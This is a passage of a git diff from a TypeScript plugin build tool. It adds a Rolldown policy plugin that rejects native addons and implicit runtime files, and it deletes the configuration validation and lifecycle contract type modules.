URL(relative, import.meta.url) 会形成未纳入 Bundle/Asset graph 的隐式文件。 */ + const callee = node.callee as Record | undefined; + /** new URL 的完整实参数组。 */ + const arguments_ = node.arguments as unknown[] | undefined; + /** 候选相对运行时文件参数。 */ + const first = arguments_?.[0] as Record | undefined; + /** 候选 import.meta.url 基准参数。 */ + const second = arguments_?.[1] as Record | undefined; + /** MemberExpression 的 import.meta object。 */ + const secondObject = second?.object as Record | undefined; + if (callee?.type === 'Identifier' && callee.name === 'URL' + && first?.type === 'Literal' && typeof first.value === 'string' + && (first.value.startsWith('./') || first.value.startsWith('../')) + && second?.type === 'MemberExpression' + && secondObject?.type === 'MetaProperty') { + throw new Error(`Portable Node module "${label}" references an implicit runtime file.`); + } + } + for (const child of Object.values(node)) + visit(child); + }; + visit(root); +} + +/** + * 根据模块扩展名选择 Rolldown parser language。 + * + * @param id Rolldown module ID。 + * @returns 需要审计的语言;JSON/虚拟 runtime helper 等返回 undefined。 + */ +function portableLanguage(id: string): 'js' | 'jsx' | 'ts' | 'tsx' | undefined { + /** query 不参与物理扩展名识别。 */ + const extension = path.extname(id.replace(/\?.*$/u, '')).toLowerCase(); + if (extension === '.ts' || extension === '.mts' || extension === '.cts') + return 'ts'; + if (extension === '.tsx') + return 'tsx'; + if (extension === '.jsx') + return 'jsx'; + if (extension === '.js' || extension === '.mjs' || extension === '.cjs') + return 'js'; + /** Core virtual entries/modules没有文件扩展名,但作者格式固定为 JS/TS-ready ESM。 */ + if (id.startsWith('\0acplugin:')) + return 'ts'; + return undefined; +} + +/** + * 建立 portable-node 的 builtin 规范化与源码语法策略 Plugin。 + * + * 最终 module/output audit 仍在 Plugin 链之外执行;该 Plugin 只负责必须在 + * Rolldown 转换前观察的源语法和 builtin normalization。 + * + * @param engine Core 唯一 Rolldown driver。 + * @returns 不暴露给调用方的固定 policy Plugin。 + */ +export function portableNodePolicyPlugin(engine: ManagedEngine): ManagedRolldownPlugin { + return Object.freeze({ + name: 'acplugin-portable-node-policy', + /** bare 与 node: builtin 都规范为唯一 external identity。 */ + resolveId: { + order: 'pre' as const, + /** 规范 builtin 并在 resolver 前拒绝原生扩展。 */ + handler(source) { + if (/\.node(?:[?#]|$)/u.test(source)) + throw new Error('Portable Node bundles must not contain native addons.'); + /** 当前 specifier 的可选规范 builtin identity。 */ + const builtin = normalizeNodeBuiltin(source); + return builtin === undefined ? null : { id: builtin, external: true }; + }, + }, + /** 在 Rolldown TS transform 前拒绝无法完整打包的动态语义。 */ + transform: { + order: 'pre' as const, + /** 使用同一 Rolldown parser 审计转换前源语法。 */ + handler(code, id) { + if (/\.node(?:[?#]|$)/u.test(id)) + throw new Error('Portable Node bundles must not contain native addons.'); + /** 当前模块可审计的 JS/TS parser language。 */ + const language = portableLanguage(id); + if (language !== undefined) + auditPortableAst(engine.parse(code, id, language), id.startsWith('\0') ? 'virtual' : path.basename(id)); + return null; + }, + }, + }); +} + +/** + * 验证 portable 作者入口使用受支持的源码扩展名。 + * + * @param inputId 已解析的 source/virtual input ID。 + */ +export function assertPortableEntryExtension(inputId: string): void { + if (inputId.startsWith('\0acplugin:')) + return; + /** declaration file 即使以 .ts 结尾也不是可执行入口。 */ + const lower = inputId.toLowerCase(); + if (lower.endsWith('.d.ts') || lower.endsWith('.d.mts') || lower.endsWith('.d.cts') + || !PORTABLE_SOURCE_EXTENSIONS.has(path.extname(lower))) { + throw new Error('Portable Node entries must use a supported executable TypeScript or JavaScript extension.'); + } +} diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts deleted file mode 100644 index 92b8076..0000000 --- a/packages/core/src/config.ts +++ /dev/null @@ -1,496 +0,0 @@ -import path from 'node:path'; -import semver from 'semver'; -import parseSpdxExpression from 'spdx-expression-parse'; -import { DiagnosticCollector } from './diagnostics.js'; -import { isAcpluginExtension, isAcpluginPlatform } from './contracts.js'; -import type { - BuildCommand, - BuildMode, - PluginAuthor, - PluginMetadata, - ResolvedConfig, - ResolvedPlatform, - ResolvedPublicConfig, - UserConfig, -} from './types.js'; - -/** Plugin 名称允许使用的小写 kebab-case 格式。 */ -const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** Plugin 作者邮件地址使用的保守结构规则。 */ -const EMAIL_PATTERN = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; - -/** 顶层最终配置唯一允许出现的字段。 */ -const ALLOWED_FIELDS = new Set([ - 'name', 'version', 'description', 'displayName', 'author', 'homepage', - 'repository', 'license', 'keywords', 'srcDir', 'public', 'platforms', - 'extensions', 'build', -]); - -/** 需要定向提示最终写法、不能只报告 unknown 的旧配置字段。 */ -const LEGACY_FIELDS = new Map([ - ['targets', 'Use platforms: [myPlatform()] instead.'], - ['modules', 'Use extensions: [myExtension()] instead.'], -]); - -/** - * 判断未知值是否为可枚举的普通对象形态。 - * - * @param value 需要检查的外部配置值。 - * @returns 非空、非数组对象返回 true。 - */ -function isRecord(value: unknown): value is Record { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 拒绝配置对象中未被当前 schema 明确允许的字段。 - * - * @param value 待检查的配置对象。 - * @param allowed 当前层级允许的字段名称。 - * @param fieldPath 当前对象在完整配置中的字段路径。 - * @param diagnostics 用于收集结构错误的诊断容器。 - */ -function rejectUnknownFields( - value: Record, - allowed: readonly string[], - fieldPath: readonly (string | number)[], - diagnostics: DiagnosticCollector, -): void { - /** Set 让字段检查保持确定性的同时避免每次查找都遍历数组。 */ - const accepted = new Set(allowed); - for (const key of Object.keys(value)) { - if (accepted.has(key) || (fieldPath.length === 0 && LEGACY_FIELDS.has(key))) - continue; - diagnostics.error('CONFIG_FIELD_UNKNOWN', `Unknown configuration field "${[...fieldPath, key].join('.')}".`, { - phase: 'config', fieldPath: [...fieldPath, key], - }); - } -} - -/** - * 判断候选绝对路径是否位于指定根目录内。 - * - * @param root 可信工程根目录。 - * @param candidate 需要验证的候选绝对路径。 - * @returns 候选路径等于或包含于根目录时返回 true。 - */ -function isInside(root: string, candidate: string): boolean { - /** lexical relative 结果;实际文件阶段还会验证符号链接和文件类型。 */ - const relative = path.relative(root, candidate); - return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); -} - -/** - * 将用户路径解析为工程内绝对路径,并拒绝绝对输入与 root escape。 - * - * @param root 可信工程根目录。 - * @param value 用户提供的相对路径。 - * @param field 产生该路径的配置字段。 - * @param diagnostics 用于记录路径错误的诊断容器。 - * @returns 规范化后的绝对路径;非法时仍返回结果以继续收集错误。 - */ -function resolveInside(root: string, value: string, field: string, diagnostics: DiagnosticCollector): string { - if (path.posix.isAbsolute(value) || path.win32.isAbsolute(value)) { - diagnostics.error('CONFIG_PATH_ABSOLUTE', `${field} must be relative to the project root.`, { - phase: 'config', fieldPath: field.split('.'), - }); - } - /** 保留解析结果可让一次 validate 汇总多个独立问题。 */ - const resolved = path.resolve(root, value); - if (!isInside(root, resolved)) { - diagnostics.error('CONFIG_PATH_ESCAPE', `${field} must stay inside the project root.`, { - phase: 'config', fieldPath: field.split('.'), - }); - } - return resolved; -} - -/** - * 判断用户路径是否包含任一宿主都不应接受的绝对或逃逸语法。 - * - * @param value 尚未按宿主或交付格式解释的用户路径。 - * @returns POSIX/Win32 绝对路径、NUL 或父目录片段存在时返回 true。 - */ -function isUnsafePortablePath(value: string): boolean { - return path.posix.isAbsolute(value) - || path.win32.isAbsolute(value) - || value.includes('\0') - || value.split(/[\\/]/u).includes('..'); -} - -/** - * 把 Public 交付目标统一为 POSIX 分隔符,不改变来源路径的宿主语义。 - * - * @param value 已通过可移植安全检查的 Public 目标。 - * @returns 供 Scanner 展开和碰撞检查的 POSIX 目标文本。 - */ -function normalizePublicTarget(value: string): string { - return value.replaceAll('\\', '/'); -} - -/** - * 判断两个目录是否相等或存在父子包含关系。 - * - * @param left 左侧绝对目录。 - * @param right 右侧绝对目录。 - * @returns 任一目录包含另一目录时返回 true。 - */ -function directoriesOverlap(left: string, right: string): boolean { - return left === right || isInside(left, right) || isInside(right, left); -} - -/** - * 校验字符串是否为绝对 HTTP(S) URL。 - * - * @param value 待校验的 URL 文本。 - * @returns 可由 URL 解析且协议为 http/https 时返回 true。 - */ -function isHttpUrl(value: string): boolean { - try { - /** 使用标准 URL 解析器拒绝相对路径和不完整主机名。 */ - const parsed = new URL(value); - return (parsed.protocol === 'http:' || parsed.protocol === 'https:') && parsed.hostname.length > 0; - } catch { - return false; - } -} - -/** - * 校验并规范化可选作者对象。 - * - * @param value 配置中的 author 候选。 - * @param diagnostics 当前配置诊断集合。 - * @returns 字段完整时返回不可变作者元数据,否则返回 undefined。 - */ -function resolveAuthor(value: unknown, diagnostics: DiagnosticCollector): PluginAuthor | undefined { - if (value === undefined) - return undefined; - if (!isRecord(value)) { - diagnostics.error('CONFIG_AUTHOR_INVALID', 'author must be an object.', { phase: 'config', fieldPath: ['author'] }); - return undefined; - } - rejectUnknownFields(value, ['name', 'email', 'url'], ['author'], diagnostics); - if (typeof value.name !== 'string' || value.name.trim() === '') - diagnostics.error('CONFIG_AUTHOR_NAME_INVALID', 'author.name must be a non-empty string.', { phase: 'config', fieldPath: ['author', 'name'] }); - if (value.email !== undefined && (typeof value.email !== 'string' || !EMAIL_PATTERN.test(value.email))) - diagnostics.error('CONFIG_AUTHOR_EMAIL_INVALID', 'author.email must be a valid email address.', { phase: 'config', fieldPath: ['author', 'email'] }); - if (value.url !== undefined && (typeof value.url !== 'string' || !isHttpUrl(value.url))) - diagnostics.error('CONFIG_AUTHOR_URL_INVALID', 'author.url must be an absolute HTTP(S) URL.', { phase: 'config', fieldPath: ['author', 'url'] }); - if (typeof value.name !== 'string' || value.name.trim() === '') - return undefined; - return { - name: value.name.trim(), - ...(typeof value.email === 'string' && EMAIL_PATTERN.test(value.email) ? { email: value.email } : {}), - ...(typeof value.url === 'string' && isHttpUrl(value.url) ? { url: value.url } : {}), - }; -} - -/** - * 校验、去空白并去重 Plugin keywords。 - * - * @param value 配置中的 keywords 候选。 - * @param diagnostics 当前配置诊断集合。 - * @returns 仅包含合法唯一值的稳定数组。 - */ -function resolveKeywords(value: unknown, diagnostics: DiagnosticCollector): string[] | undefined { - if (value === undefined) - return undefined; - if (!Array.isArray(value)) { - diagnostics.error('CONFIG_KEYWORDS_INVALID', 'keywords must be an array of strings.', { phase: 'config', fieldPath: ['keywords'] }); - return undefined; - } - /** 保持用户顺序的规范 keyword 输出。 */ - const keywords: string[] = []; - /** 用于拒绝去空白后重复 keyword 的集合。 */ - const seen = new Set(); - for (const [index, keyword] of value.entries()) { - if (typeof keyword !== 'string' || keyword.trim() === '') { - diagnostics.error('CONFIG_KEYWORD_INVALID', 'Every keyword must be a non-empty string.', { phase: 'config', fieldPath: ['keywords', index] }); - continue; - } - /** 去除首尾空白后的最终 keyword。 */ - const normalized = keyword.trim(); - if (seen.has(normalized)) { - diagnostics.error('CONFIG_KEYWORD_DUPLICATE', `Keyword "${normalized}" is duplicated.`, { phase: 'config', fieldPath: ['keywords', index] }); - continue; - } - seen.add(normalized); - keywords.push(normalized); - } - return keywords; -} - -/** - * 解析 Public 目录开关、来源目录和复制规则。 - * - * @param root 可信工程根目录。 - * @param value 用户提供的 Public 配置。 - * @param diagnostics 用于收集目录与复制规则错误的诊断容器。 - * @returns 包含绝对来源目录的统一 Public 配置。 - */ -function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticCollector): ResolvedPublicConfig { - if (value === false) - return { enabled: false, dir: path.join(root, 'public') }; - if (typeof value === 'string') - return { enabled: true, dir: resolveInside(root, value, 'public', diagnostics) }; - if (value !== undefined && !isRecord(value)) { - diagnostics.error('CONFIG_PUBLIC_INVALID', 'public must be false, a directory string, or an object.', { phase: 'config', fieldPath: ['public'] }); - return { enabled: true, dir: path.join(root, 'public') }; - } - /** undefined 等价于启用默认 public 目录的空配置对象。 */ - const object = value ?? {}; - rejectUnknownFields(object, ['dir', 'copy'], ['public'], diagnostics); - if (object.dir !== undefined && typeof object.dir !== 'string') - diagnostics.error('CONFIG_PUBLIC_DIR_INVALID', 'public.dir must be a string.', { phase: 'config', fieldPath: ['public', 'dir'] }); - /** Public 来源目录必须位于工程根内。 */ - const dir = resolveInside(root, typeof object.dir === 'string' ? object.dir : 'public', 'public.dir', diagnostics); - /** 仅保存字段类型完整的 copy rule。 */ - const copy: { from: string; to: string }[] = []; - if (object.copy !== undefined && !Array.isArray(object.copy)) - diagnostics.error('CONFIG_PUBLIC_COPY_INVALID', 'public.copy must be an array.', { phase: 'config', fieldPath: ['public', 'copy'] }); - if (Array.isArray(object.copy)) { - for (const [index, rawRule] of object.copy.entries()) { - if (!isRecord(rawRule)) { - diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Every Public copy rule must be an object.', { phase: 'config', fieldPath: ['public', 'copy', index] }); - continue; - } - rejectUnknownFields(rawRule, ['from', 'to'], ['public', 'copy', index], diagnostics); - if (typeof rawRule.from !== 'string' || rawRule.from.trim() === '' || typeof rawRule.to !== 'string' || rawRule.to.trim() === '') { - diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require non-empty string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); - continue; - } - /** 来源保持宿主文件系统语义,交付目标统一为 POSIX 分隔符。 */ - const rule = { from: rawRule.from, to: normalizePublicTarget(rawRule.to) }; - copy.push(rule); - if (isUnsafePortablePath(rawRule.from) || isUnsafePortablePath(rawRule.to)) { - diagnostics.error('CONFIG_PUBLIC_RULE_ESCAPE', 'Public copy paths must be relative and cannot contain parent traversal.', { - phase: 'config', fieldPath: ['public', 'copy', index], - }); - } - } - } - return object.copy !== undefined ? { enabled: true, dir, copy } : { enabled: true, dir }; -} - -/** - * 校验品牌化 Platform 实例并应用全局 strict 默认值。 - * - * @param value 必填的显式 platforms 值。 - * @param strict 全局功能兼容性严格度。 - * @param diagnostics 当前配置诊断集合。 - * @returns 保持配置顺序的最终 Platform 列表。 - */ -function resolvePlatforms( - value: unknown, - strict: boolean, - diagnostics: DiagnosticCollector, -): ResolvedPlatform[] { - if (value === undefined) { - diagnostics.error('CONFIG_PLATFORMS_REQUIRED', 'platforms is required and must contain at least one Platform factory result.', { phase: 'config', fieldPath: ['platforms'] }); - return []; - } - if (!Array.isArray(value)) { - diagnostics.error('CONFIG_PLATFORMS_INVALID', 'platforms must be an array of Platform factory results.', { phase: 'config', fieldPath: ['platforms'] }); - return []; - } - /** 用户显式声明且已确认数组形态的 Platform 工厂结果。 */ - const input = value; - if (input.length === 0) - diagnostics.error('CONFIG_PLATFORMS_EMPTY', 'platforms must contain at least one Platform.', { phase: 'config', fieldPath: ['platforms'] }); - /** 用于拒绝重复 Platform ID 的集合。 */ - const seen = new Set(); - /** 已通过品牌和版本检查的 Platform。 */ - const resolved: ResolvedPlatform[] = []; - for (const [index, candidate] of input.entries()) { - if (!isAcpluginPlatform(candidate)) { - /** 字段看似 Platform 但版本不同,优先给出版本定向错误。 */ - const apiVersion = isRecord(candidate) ? candidate.apiVersion : undefined; - diagnostics.error(apiVersion !== undefined && apiVersion !== '1' ? 'CONFIG_PLATFORM_API_INCOMPATIBLE' : 'CONFIG_PLATFORM_INVALID', - apiVersion !== undefined && apiVersion !== '1' - ? `Platform API version "${String(apiVersion)}" is incompatible with Core API version 1.` - : 'Every platform must be created by definePlatform() or an official Platform factory.', - { phase: 'config', fieldPath: ['platforms', index] }); - continue; - } - if (seen.has(candidate.id)) { - diagnostics.error('CONFIG_PLATFORM_DUPLICATE', `Platform "${candidate.id}" is configured more than once.`, { phase: 'config', fieldPath: ['platforms', index] }); - continue; - } - seen.add(candidate.id); - resolved.push({ platform: candidate, strict: candidate.strict ?? strict }); - } - return resolved; -} - -/** - * 校验品牌化 Extension 实例、API 版本和唯一名称。 - * - * @param value 配置中的 extensions 候选。 - * @param diagnostics 当前配置诊断集合。 - * @returns 保持配置顺序的最终 Extension 列表。 - */ -function resolveExtensions(value: unknown, diagnostics: DiagnosticCollector): import('./contracts.js').AcpluginExtension[] { - if (value === undefined) - return []; - if (!Array.isArray(value)) { - diagnostics.error('CONFIG_EXTENSIONS_INVALID', 'extensions must be an array of Extension factory results.', { phase: 'config', fieldPath: ['extensions'] }); - return []; - } - /** 用于拒绝重复 Extension 名称的集合。 */ - const seen = new Set(); - /** 已通过品牌、版本和名称校验的 Extension。 */ - const resolved: import('./contracts.js').AcpluginExtension[] = []; - for (const [index, candidate] of value.entries()) { - if (!isAcpluginExtension(candidate)) { - /** 字段看似 Extension 但版本不同,优先给出版本定向错误。 */ - const apiVersion = isRecord(candidate) ? candidate.apiVersion : undefined; - diagnostics.error(apiVersion !== undefined && apiVersion !== '1' ? 'CONFIG_EXTENSION_API_INCOMPATIBLE' : 'CONFIG_EXTENSION_INVALID', - apiVersion !== undefined && apiVersion !== '1' - ? `Extension API version "${String(apiVersion)}" is incompatible with Core API version 1.` - : 'Every extension must be created by defineExtension() or an official Extension factory.', - { phase: 'config', fieldPath: ['extensions', index] }); - continue; - } - if (seen.has(candidate.name)) { - diagnostics.error('CONFIG_EXTENSION_DUPLICATE', `Extension "${candidate.name}" is configured more than once.`, { phase: 'config', fieldPath: ['extensions', index] }); - continue; - } - seen.add(candidate.name); - resolved.push(candidate); - } - return resolved; -} - -/** - * 将用户配置严格校验并解析为 Core 可直接消费的最终配置。 - * - * @param value 从可信 acplugin.config.ts 加载的用户配置对象。 - * @param configPath 配置文件绝对路径或可解析路径。 - * @param command 当前执行的 CLI 构建命令。 - * @param mode 当前构建运行模式。 - * @returns 成功时包含完整配置;失败时只返回已脱敏、可排序的诊断。 - */ -export function resolveConfig( - value: UserConfig, - configPath: string, - command: BuildCommand, - mode: BuildMode, -): { config?: ResolvedConfig; diagnostics: readonly import('./types.js').Diagnostic[] } { - /** 单次解析共享同一个 Collector,以汇总全部独立问题。 */ - const diagnostics = new DiagnosticCollector(); - /** 配置文件所在目录定义所有工程相对路径的信任根。 */ - const root = path.dirname(path.resolve(configPath)); - /** 降级为 unknown,确保运行时校验不依赖静态类型。 */ - const object = value as unknown; - if (!isRecord(object)) { - diagnostics.error('CONFIG_OBJECT_REQUIRED', 'Configuration must be an object.', { phase: 'config' }); - return { diagnostics: diagnostics.diagnostics }; - } - - rejectUnknownFields(object, [...ALLOWED_FIELDS], [], diagnostics); - for (const [field, hint] of LEGACY_FIELDS) { - if (field in object) { - diagnostics.error(`CONFIG_LEGACY_${field.toUpperCase()}`, `Legacy configuration field "${field}" is not supported.`, { - phase: 'config', fieldPath: [field], hint, - }); - } - } - - if (typeof object.name !== 'string' || !NAME_PATTERN.test(object.name)) - diagnostics.error('CONFIG_NAME_INVALID', 'name must be lowercase kebab-case.', { phase: 'config', fieldPath: ['name'] }); - if (typeof object.version !== 'string' || !semver.valid(object.version)) - diagnostics.error('CONFIG_VERSION_INVALID', 'version must be complete valid SemVer.', { phase: 'config', fieldPath: ['version'] }); - if (typeof object.description !== 'string' || object.description.trim() === '') - diagnostics.error('CONFIG_DESCRIPTION_REQUIRED', 'description is required.', { phase: 'config', fieldPath: ['description'] }); - if (object.displayName !== undefined && (typeof object.displayName !== 'string' || object.displayName.trim() === '')) - diagnostics.error('CONFIG_DISPLAY_NAME_INVALID', 'displayName must be a non-empty string.', { phase: 'config', fieldPath: ['displayName'] }); - if (object.srcDir !== undefined && (typeof object.srcDir !== 'string' || object.srcDir.trim() === '')) - diagnostics.error('CONFIG_SRC_DIR_INVALID', 'srcDir must be a non-empty string.', { phase: 'config', fieldPath: ['srcDir'] }); - for (const field of ['homepage', 'repository'] as const) { - if (object[field] !== undefined && (typeof object[field] !== 'string' || !isHttpUrl(object[field]))) - diagnostics.error(`CONFIG_${field.toUpperCase()}_INVALID`, `${field} must be an absolute HTTP(S) URL.`, { phase: 'config', fieldPath: [field] }); - } - if (object.license !== undefined) { - if (typeof object.license !== 'string' || object.license.trim() === '') { - diagnostics.error('CONFIG_LICENSE_INVALID', 'license must be a valid SPDX expression.', { phase: 'config', fieldPath: ['license'] }); - } else { - try { - parseSpdxExpression(object.license); - } catch { - diagnostics.error('CONFIG_LICENSE_INVALID', 'license must be a valid SPDX expression.', { phase: 'config', fieldPath: ['license'] }); - } - } - } - - /** 已校验或部分规范化的可选作者。 */ - const author = resolveAuthor(object.author, diagnostics); - /** 已去空白并检查重复项的可选关键词。 */ - const keywords = resolveKeywords(object.keywords, diagnostics); - /** 非法 build 值不会进入后续字段读取。 */ - let build: Record = {}; - if (object.build !== undefined) { - if (!isRecord(object.build)) - diagnostics.error('CONFIG_BUILD_INVALID', 'build must be an object.', { phase: 'config', fieldPath: ['build'] }); - else - build = object.build; - } - rejectUnknownFields(build, ['outDir', 'strict'], ['build'], diagnostics); - if (build.outDir !== undefined && (typeof build.outDir !== 'string' || build.outDir.trim() === '')) - diagnostics.error('CONFIG_OUT_DIR_INVALID', 'build.outDir must be a non-empty string.', { phase: 'config', fieldPath: ['build', 'outDir'] }); - if (build.strict !== undefined && typeof build.strict !== 'boolean') - diagnostics.error('CONFIG_STRICT_INVALID', 'build.strict must be boolean.', { phase: 'config', fieldPath: ['build', 'strict'] }); - - /** 严格模式默认开启,Platform 工厂可以单独覆盖。 */ - const strict = typeof build.strict === 'boolean' ? build.strict : true; - /** Scanner 使用的工程内绝对源码目录。 */ - const srcDir = resolveInside(root, typeof object.srcDir === 'string' ? object.srcDir : 'src', 'srcDir', diagnostics); - /** 事务层使用的工程内绝对输出目录。 */ - const outDir = resolveInside(root, typeof build.outDir === 'string' ? build.outDir : 'dist', 'build.outDir', diagnostics); - /** 已解析的 Public 来源与 copy rule。 */ - const publicConfig = resolvePublic(root, object.public, diagnostics); - /** 已品牌校验且带最终 strictness 的 Platform。 */ - const platforms = resolvePlatforms(object.platforms, strict, diagnostics); - /** 已品牌校验且名称唯一的 Extension。 */ - const extensions = resolveExtensions(object.extensions, diagnostics); - - if (outDir === root) - diagnostics.error('CONFIG_OUTDIR_ROOT', 'build.outDir cannot be the project root.', { phase: 'config', fieldPath: ['build', 'outDir'] }); - if (directoriesOverlap(srcDir, outDir)) - diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'srcDir and build.outDir cannot contain each other.', { phase: 'config' }); - if (publicConfig.enabled && directoriesOverlap(publicConfig.dir, outDir)) - diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and build.outDir cannot contain each other.', { phase: 'config' }); - if (publicConfig.enabled && directoriesOverlap(publicConfig.dir, srcDir)) - diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and srcDir cannot contain each other.', { phase: 'config' }); - - if (diagnostics.hasErrors) - return { diagnostics: diagnostics.diagnostics }; - - /** 成功解析后供 Scanner 和 Platform 共享的统一元数据。 */ - const metadata: PluginMetadata = { - name: object.name as string, - version: object.version as string, - description: (object.description as string).trim(), - ...(typeof object.displayName === 'string' ? { displayName: object.displayName.trim() } : {}), - ...(author === undefined ? {} : { author }), - ...(typeof object.homepage === 'string' ? { homepage: object.homepage } : {}), - ...(typeof object.repository === 'string' ? { repository: object.repository } : {}), - ...(typeof object.license === 'string' ? { license: object.license } : {}), - ...(keywords === undefined ? {} : { keywords }), - }; - /** 只有不存在错误诊断时才构造类型完备的 ResolvedConfig。 */ - const config: ResolvedConfig = { - root, - configPath: path.resolve(configPath), - command, - mode, - metadata, - srcDir, - public: publicConfig, - platforms, - extensions, - outDir, - strict, - }; - return { config, diagnostics: diagnostics.diagnostics }; -} diff --git a/packages/core/src/contracts.ts b/packages/core/src/contracts.ts deleted file mode 100644 index fe1d747..0000000 --- a/packages/core/src/contracts.ts +++ /dev/null @@ -1,524 +0,0 @@ -import type { - Artifact, - ArtifactInput, - BuildCommand, - BuildMode, - ComponentKind, - CompatibilityLevel, - MetadataDisposition, - PluginMetadata, - PluginProject, - TypeScriptModuleLoader, -} from './types.js'; - -/** Platform 与 Extension 在 acplugin 1.0 中共同使用的 API 版本。 */ -export const LIFECYCLE_API_VERSION = '1' as const; - -/** Platform ID 的类型品牌;该 Symbol 不导出,外部对象不能伪造名义类型。 */ -declare const platformIdBrand: unique symbol; - -/** Platform 实例的运行时品牌;使用模块私有 Symbol 阻止 shape-compatible 对象绕过校验。 */ -const platformBrand: unique symbol = Symbol('acplugin.platform'); - -/** Extension 实例的运行时品牌;只由 defineExtension 写入。 */ -const extensionBrand: unique symbol = Symbol('acplugin.extension'); - -/** Platform ID 必须满足的小写 kebab-case 规则。 */ -const PLATFORM_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** 同步值或 Promise 值组成的生命周期返回类型。 */ -export type Awaitable = T | Promise; - -/** 可确定性序列化的只读 JSON 值。 */ -export type JsonValue - = | null - | boolean - | number - | string - | readonly JsonValue[] - | { readonly [key: string]: JsonValue }; - -/** 可作为 Platform 专属 Component 字段根节点的只读 JSON 对象。 */ -export type JsonObject = { readonly [key: string]: JsonValue }; - -/** Document extension point 与 patch 使用的字段路径。 */ -export type DocumentFieldPath = readonly string[]; - -/** 开放的第三方 Platform 标识,不限制为内置平台联合类型。 */ -export type PlatformId = string & { readonly [platformIdBrand]: true }; - -/** Platform 主交付单元支持的安装形态。 */ -export type PlatformDeliveryType = 'plugin' | 'workspace' | 'package'; - -/** DeliveryUnit 在一次构建中的职责。 */ -export type DeliveryUnitRole = 'primary' | 'distribution'; - -/** 主交付与 Marketplace Distribution 可使用的单元类型。 */ -export type DeliveryUnitType = PlatformDeliveryType | 'marketplace'; - -/** Platform 拥有的结构化 Document 序列化格式。 */ -export type DocumentFormat = 'json' | 'yaml' | 'toml' | 'frontmatter'; - -/** Document 在主交付单元中的物化策略。 */ -export type DocumentEmission = 'required' | 'omit-if-empty'; - -/** 提供给只读生命周期的 Platform 身份快照。 */ -export interface PlatformDescription { - readonly id: PlatformId; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly deliveryType: PlatformDeliveryType; - readonly strict: boolean; -} - -/** Adapter 可见的 Platform 身份,不暴露当前构建的严格度等配置策略。 */ -export type PlatformAdapterDescription = Omit; - -/** 提供给只读生命周期的 Extension 身份快照。 */ -export interface ExtensionDescription { - readonly name: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; -} - -/** Platform 在序列化前拥有并通过逻辑 ID 暴露的只读 Document。 */ -export interface DraftDocument { - readonly id: string; - readonly path: string; - readonly format: DocumentFormat; - readonly owner: `platform:${string}`; - readonly value: Readonly; - /** required 默认必须序列化;omit-if-empty 只允许省略空对象。 */ - readonly emission?: DocumentEmission; - readonly extensionPoints: readonly DocumentFieldPath[]; -} - -/** Platform prepare 阶段提交给 Core 接管的初始 Draft。 */ -export interface PlatformDraftInput { - readonly documents: readonly DraftDocument[]; - readonly artifacts: readonly ArtifactInput[]; -} - -/** Platform 请求 Core 物化并验证的交付单元输入。 */ -export interface DeliveryUnitInput { - readonly id: string; - readonly role: DeliveryUnitRole; - readonly type: DeliveryUnitType; - readonly artifacts: readonly ArtifactInput[]; -} - -/** Core 完成 owner、hash、mode 与 size 校验后的不可变交付单元。 */ -export interface DeliveryUnit { - readonly id: string; - readonly platform: PlatformId; - readonly role: DeliveryUnitRole; - readonly type: DeliveryUnitType; - readonly artifacts: readonly Artifact[]; -} - -/** Extension 只能在 Platform 声明的 extension point 新增字段的 patch。 */ -export interface DocumentAddPatch { - readonly document: string; - readonly path: DocumentFieldPath; - readonly value: JsonValue; -} - -/** 生命周期 Hook 可提交、由后续 Collector 统一清理的结构化诊断输入。 */ -export interface DiagnosticInput { - readonly code: string; - readonly severity: 'error' | 'warning'; - readonly message: string; - readonly phase?: string; - readonly location?: { readonly path: string; readonly line?: number; readonly column?: number }; - readonly fieldPath?: readonly (string | number)[]; - readonly hint?: string; -} - -/** Platform 或 Adapter 可提交、由当前 Platform 自动附加身份的兼容性输入。 */ -export interface CompatibilityInput { - readonly subject: string; - readonly capability: string; - readonly level: CompatibilityLevel; - readonly transformation?: string; - readonly reason: string; - readonly causes?: readonly string[]; -} - -/** Platform 提交统一元数据字段最终去向时不需要重复提供自身身份。 */ -export interface MetadataDispositionInput { - readonly field: string; - readonly disposition: MetadataDisposition; - readonly output?: string; - readonly reason: string; -} - -/** 所有生命周期 Context 都携带的稳定命令、模式和诊断出口。 */ -export interface LifecycleContext { - readonly command: BuildCommand; - readonly mode: BuildMode; - readonly reportDiagnostic: (diagnostic: DiagnosticInput) => void; -} - -/** configResolved 阶段可读取且不包含最终输出写入器的配置快照。 */ -export interface LifecycleConfigSnapshot { - readonly root: string; - readonly srcDir: string; - readonly metadata: PluginMetadata; - readonly strict: boolean; -} - -/** Platform 与 Extension configResolved Hook 使用的最小只读上下文。 */ -export interface ConfigResolvedContext extends LifecycleContext { - readonly config: LifecycleConfigSnapshot; - readonly platforms: readonly PlatformDescription[]; - readonly extensions: readonly ExtensionDescription[]; -} - -/** Platform 校验单个 Component 专属字段时可读取的稳定身份。 */ -export interface ComponentDescription { - readonly kind: ComponentKind; - readonly id: string; - readonly sourcePath: string; -} - -/** Scanner 调用 Platform 字段校验器时提供的只读上下文。 */ -export interface PlatformComponentValidationContext extends LifecycleContext { - readonly component: ComponentDescription; - readonly fields: Readonly; -} - -/** buildStart 阶段可读取的进程环境与当前对象独占工作目录。 */ -export interface BuildStartContext extends LifecycleContext { - readonly projectRoot: string; - readonly workDir: string; - readonly environment: Readonly>; -} - -/** Extension discover 阶段用于扫描自有作者格式的受限上下文。 */ -export interface ExtensionDiscoverContext extends LifecycleContext { - readonly srcDir: string; - readonly workDir: string; - readonly loadTypeScriptModule: TypeScriptModuleLoader; -} - -/** Extension validate 阶段读取规范工程的上下文。 */ -export interface ExtensionValidateContext extends LifecycleContext { - readonly project: 